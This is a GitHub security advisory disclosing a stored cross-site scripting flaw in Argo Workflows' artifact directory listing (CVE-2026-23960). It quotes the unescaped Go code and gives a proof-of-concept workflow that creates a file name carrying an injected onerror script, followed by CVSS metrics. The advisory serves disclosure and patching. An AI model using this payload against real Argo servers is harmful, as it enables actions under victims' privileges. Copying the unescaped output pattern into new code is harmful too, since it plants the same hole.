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Stored XSS in the artifact directory listing

High
Joibel published GHSA-cv78-6m8q-ph82 Jan 21, 2026

Package

gomod github.com/argoproj/argo-workflows (Go)

Affected versions

<3.6.17
>=3.7.0, <3.7.7

Patched versions

3.6.17
3.7.8

Description

Summary

Stored XSS in the artifact directory listing allows any workflow author to execute arbitrary JavaScript in another user’s browser under the Argo Server origin, enabling API actions with the victim’s privileges.

Details

The directory listing response in server/artifacts/artifact_server.go renders object names directly into HTML via fmt.Fprintf without escaping. Object names come from driver.ListObjects(...) and are attacker‑controlled when a workflow writes files into an output artifact directory.

argo-workflows/server/artifacts/artifact_server.go

Lines 194 to 244 in 9872c29

if isDir {
// return an html page to the user
objects, err := driver.ListObjects(ctx, artifact)
if err != nil {
a.httpFromError(ctx, err, w)
return
}
a.logger.WithFields(logging.Fields{
"artifact": artifact,
"files": objects,
}).Debug(ctx, "this is a directory")
key, _ := artifact.GetKey()
for _, object := range objects {
// object is prefixed by the key, we must trim it
dir, file := path.Split(strings.TrimPrefix(object, key+"/"))
// if dir is empty string, we are in the root dir
// we found in index.html, abort and redirect there
if dir == "" && file == "index.html" {
w.Header().Set("Location", r.URL.String()+"index.html")
w.WriteHeader(http.StatusTemporaryRedirect)
return
}
}
w.WriteHeader(http.StatusOK)
_, _ = w.Write([]byte("<html><body><ul>\n"))
dirs := map[string]bool{} // to de-dupe sub-dirs
_, _ = fmt.Fprintf(w, "<li><a href=\"%s\">%s</a></li>\n", "..", "..")
for _, object := range objects {
// object is prefixed the key, we must trim it
dir, file := path.Split(strings.TrimPrefix(object, key+"/"))
// if dir is empty string, we are in the root dir
if dir == "" {
_, _ = fmt.Fprintf(w, "<li><a href=\"%s\">%s</a></li>\n", file, file)
} else if dirs[dir] {
continue
} else {
_, _ = fmt.Fprintf(w, "<li><a href=\"%s\">%s</a></li>\n", dir, dir)
dirs[dir] = true
}
}
_, _ = w.Write([]byte("</ul></body></html>"))

PoC

  1. Deploy Argo Workflows:
kubectl create ns argo
kubectl apply --server-side -f manifests/base/crds/full
kubectl apply --server-side -k manifests/quick-start/postgres
  1. Port‑forward Argo Server:
kubectl -n argo port-forward deploy/argo-server 2746:2746
  1. Create the PoC workflow:
cat > /tmp/argo-xss.yaml <<'EOF'
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
  generateName: xss-artifact-test-
spec:
  entrypoint: main
  templates:
  - name: main
    container:
      image: alpine
      command: [sh, -c]
      args:
      - |
        mkdir -p /tmp/artifacts
        touch '/tmp/artifacts/xss"><img src=x onerror="alert(document.domain)">.html'
    outputs:
      artifacts:
      - name: dir
        path: /tmp/artifacts
        archive:
          none: {}
EOF
kubectl -n argo create -f /tmp/argo-xss.yaml
  1. Wait for completion:
kubectl -n argo get wf -w
  1. Get the node ID:
kubectl -n argo get wf <wf-name> \
  -o jsonpath='{range .status.nodes.*}{.id}{"\t"}{.displayName}{"\n"}{end}'
  1. Open the listing:
    https://localhost:2746/artifact-files/argo/workflows/<wf-name>/<node-id>/outputs/dir/
image

Impact

  • The attacker creates a workflow that produces a HTML artifact that contains a HTML file that contains a script which uses XHR calls to interact with the Argo Server API.
  • The attacker emails the deep-link to the artifact to their victim. The victim opens the link, the script starts running.

As the script has access to the Argo Server API (as the victim), so may do the following (if the victim may):

  • Read information about the victim’s workflows.
  • Create or delete workflows.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity High
Attack Requirements None
Privileges Required Low
User interaction Active
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

CVE ID

CVE-2026-23960

Weaknesses

No CWEs

Credits